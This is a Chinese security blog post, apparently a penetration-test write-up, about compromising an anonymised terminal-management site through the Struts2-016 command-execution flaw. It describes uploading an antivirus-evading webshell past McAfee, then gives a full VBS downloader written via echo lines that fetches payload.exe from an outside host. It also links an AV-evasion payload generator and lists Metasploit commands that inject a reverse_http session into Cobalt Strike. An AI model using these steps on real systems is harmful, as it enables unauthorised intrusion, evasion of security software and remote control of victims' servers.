针对某目标的一次渗透测试

admin 2021年3月22日14:47:49评论301 views字数 1907阅读6分21秒阅读模式




前期目标收集





通过fofa进行了目标资产收集,使用title=”***” 语句发现目标站点存在某终端管理系统。


针对某目标的一次渗透测试






目标站点地址





针对某目标的一次渗透测试


打开网站页面显示为****终端管理系统。


针对某目标的一次渗透测试


看到网站路径,猜测该网站使用Struts2框架进行编写,因此可以尝试是否存在Strurs2命令执行漏洞,通过使用Strurs2漏洞检测工具对该网站进行检测,确认存在Struts2-016命令执行漏洞。


针对某目标的一次渗透测试


查看当前权限,为system权限,为Windows系统最高权限,因此可尝试直接上传shell等方式进行进一步提权。


针对某目标的一次渗透测试


随后使用工具自带的上传功能进行shell上传,但工具提示上传成功,而shell路径访问为404页面。


针对某目标的一次渗透测试

针对某目标的一次渗透测试


因此猜测存在杀毒软件,将木马杀掉了,随后通过tasklist命令查看系统运行中的进程,存在以下进程列表。


针对某目标的一次渗透测试


使用工具将进程进行筛选,看是否存在杀毒软件进程。


针对某目标的一次渗透测试


可以看到系统进程里面存在迈克菲杀毒软件进程,因此我们需要对上传的shell进行免杀,达到获取shell权限的效果。

通过更换shell内容,成功上传至网站根目录,还好目标站点杀毒软件版本不高,因此找了个免杀马上传后便获得了Shell。


针对某目标的一次渗透测试

针对某目标的一次渗透测试


ok,接下来就是要获取到一个交互式的shell权限,这里我打算采用cobalt strike与msf进行结合获取到服务器的shell。

接下来有两个问题,一是我要怎么将我的msf的payload下载到服务器上,二是我的payload也要进行免杀。现在先解决payload下载问题,Windows内置了很多种命令行下载文件的方法,例如bitsadmin,powershell,vbs,certutil等命令都可以进行文件下载,但以上命令只有certutil与vbs支持Windows server 2003以上版本,其余两个只适用于windows 7以上版本,通过systeminfo查看了目标服务器的系统版本,为Windows Server 2003系统,因此采用vbs方式将木马下载到目标服务器。



echo Set Post = CreateObject("Msxml2.XMLHTTP") >>绝对路径download.vbsecho Set Shell = CreateObject("Wscript.Shell") >>绝对路径download.vbsecho Post.Open "GET","http://IP:port/payload.exe",0 >>绝对路径download.vbsecho Post.Send() >>绝对路径download.vbsecho Set aGet = CreateObject("ADODB.Stream") >>绝对路径download.vbsecho aGet.Mode = 3 >>绝对路径download.vbsecho aGet.Type = 1 >>绝对路径download.vbsecho aGet.Open() >>绝对路径download.vbsecho aGet.Write(Post.responseBody) >>绝对路径download.vbsecho aGet.SaveToFile "绝对路径payload.exe",2 >>绝对路径download.vbs


在实站场景中,需要将以上脚本的”绝对路径download.vbs”改为目标网站的真实路径,否则可能会出现无法访问的情况。通过逐条执行以上代码,将下载语句写入到dowdload.vbs文件中,随后采用start 绝对路径download.vbs 命令执行该脚本,即可将payload.exe下载到指定路径。

木马免杀

使用该工具生成免杀payload


https://github.com/1y0n/AV_Evasion_Tool

输入msf的IP与端口,点击生成即可生成免杀payload。


针对某目标的一次渗透测试


将payload下载到目标网站后,使用start payload.exe即可获取到反弹shell。因为获取到的是msf的shell,现在需要将shell转移到cs服务器上,使用以下命令

开启cs

在msf执行以下命令



use exploit/windows/local/payload_injectset PAYLOAD windows/meterpreter/reverse_httpset DisablePayloadHandler trueset LHOST 192.168.5.173  //cs的IPset LPORT 50050   //cs监听器的端口set SESSION 1exploit



cs成功接收到shell,接下来就可以对服务器进行内网的横向渗透了,下篇文章会更新如何拿下域控服务器。


针对某目标的一次渗透测试

本文始发于微信公众号(V安全资讯):针对某目标的一次渗透测试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月22日14:47:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   针对某目标的一次渗透测试http://cn-sec.com/archives/186610.html

发表评论

匿名网友 填写信息